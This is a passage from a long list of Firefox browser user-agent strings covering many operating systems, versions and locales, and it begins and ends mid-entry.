CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.8) Gecko/20100722 AskTbADAP/3.9.1.14019 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; lt; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-PT; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ro; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; rv:1.9.2) Gecko/20100105 MRA 5.6 (build 03278) Firefox/3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; sl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; uk; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; WOW64; en-US; rv:2.0.4) Gecko/20120718 AskTbAVR-IDW/3.12.5.17700 Firefox/14.0.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 7.0; rv:1.9.2) Gecko/20100101 Firefox/3.6 -Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 -Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 -Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre -Mozilla/5.0 (Windows; Windows NT 5.1; es-ES; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre -Mozilla/5.0 (Windows x86; rv:19.0) Gecko/20100101 Firefox/19.0 -Mozilla/5.0 (X11; Arch Linux i686; rv:2.0) Gecko/20110321 Firefox/4.0 -Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (X11; FreeBSD i686) Firefox/3.6 -Mozilla/5.0 (X11; FreeBSD x86_64; rv:2.0) Gecko/20100101 Firefox/3.6.12 -Mozilla/5.0 (X11; Linux AMD64) Gecko Firefox/5.0 -Mozilla/5.0 (X11; Linux) Gecko Firefox/5.0 -Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0 -Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0a2) Gecko/20110524 Firefox/5.0a2 -Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0) Gecko/20100101 Firefox/3.6.17 Firefox/3.6.17 -Mozilla/5.0 (X11; Linux i686; rv:1.7.5) Gecko/20041108 Firefox/1.0 -Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20110518 Firefox/4.0.1 -Mozilla/5.0 (X11; Linux i686; rv:2.0b10) Gecko/20100101 Firefox/4.0b10 -Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20100101 Firefox/4.0b12pre -Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20110204 Firefox/4.0b12pre -Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre -Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20100101 Firefox/3.6 -Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (X11; Linux x86_64) Gecko Firefox/5.0 -Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20110506 Firefox/4.0.1 -Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4 -Mozilla/5.0 (X11; Linux x86_64; rv:2.0b9pre) Gecko/20110111 Firefox/4.0b9pre -Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre -Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre -Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 -Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Firefox/5.0 -Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 FirePHP/0.5 -Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (X11; Mageia; Linux x86_64; rv:10.0.9) Gecko/20100101 Firefox/10.0.9 -Mozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0 -Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0 -Mozilla/5.0 (X11; Ubuntu; Linux armv7l; rv:17.0) Gecko/20100101 Firefox/17.0 -Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 -Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0.6 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0 -Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1) Gecko/20090720 Firefox/3.5.1 -Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.8.0.8) Gecko/20061116 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051105 Firefox/1.0.8 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20041114 Firefox/1.0 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20050420 Firefox/1.0.3 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20060303 Firefox/1.0.3 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.2) Gecko/20060414 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.8) Gecko/20061210 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090225 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090413 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.10) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9a2) Gecko/20080530 Firefox/3.0a2 -Mozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.9.1.8) Gecko/20100305 Firefox/3.5.8 -Mozilla/5.0 (X11; U; FreeBSD i386; ru-RU; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL) Gecko Firefox -Mozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux AMD64; en-US; rv:1.9.2.3) Gecko/20100403 Ubuntu/10.10 (maverick) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0 -Mozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian) -Mozilla/5.0 (X11; U; Linux armv7l; en-GB; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.6.11 -Mozilla/5.0 (X11; U; Linux; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.11) Gecko/20100720 Firefox/3.5.11 -Mozilla/5.0 (X11; U; Linux; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux Gentoo i686; pl; rv:1.8.0.8) Gecko/20061219 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux Gentoo; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (X11; U; Linux i686; bg; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.10) Gecko/20070313 Fedora/1.5.0.10-5.fc6 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.16) Gecko/2009121601 Ubuntu/9.04 (jaunty) Firefox/3.0.16 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.1.6) Gecko/20100107 Fedora/3.5.6-1.fc12 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 -Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4) -Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.6) Gecko/20050325 Firefox/1.0.2 (Debian package 1.0.2-1) -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.6) Gecko/20040207 Firefox/0.8 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 (Ubuntu package 1.0.8) -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050306 Firefox/1.0.1 (Debian package 1.0.1-2) -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050322 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.8) Gecko/20100725 Gentoo Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-3.el5.centos Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.1 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2) -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20060911 SUSE/2.0.0.5-1.2 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009062218 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009082505 Red Hat/3.0.14-1.el5_4 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010020400 SUSE/3.0.18-0.1.1 Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010021501 Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009041500 SUSE/3.0.9-2.2 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090722 Gentoo Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB7.0 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Ubuntu/8.04 (hardy) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100914 SUSE/3.6.10-0.3.1 Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.15) Gecko/20110330 CentOS/3.6-1.el5.centos Firefox/3.6.15 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110615 Ubuntu/10.10 (maverick) Firefox/3.6.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.21) Gecko/20110830 Ubuntu/10.10 (maverick) Firefox/3.6.21 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.13) Gecko/20060418 Fedora/1.0.8-1.1.fc4 Firefox/1.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.12) Gecko/20070718 Fedora/1.5.0.12-4.fc6 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-2.1 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.2pre) Gecko/20061023 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060309 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.13) Gecko/2009080316 Ubuntu/8.04 (hardy) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Firefox/3.0.19 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; 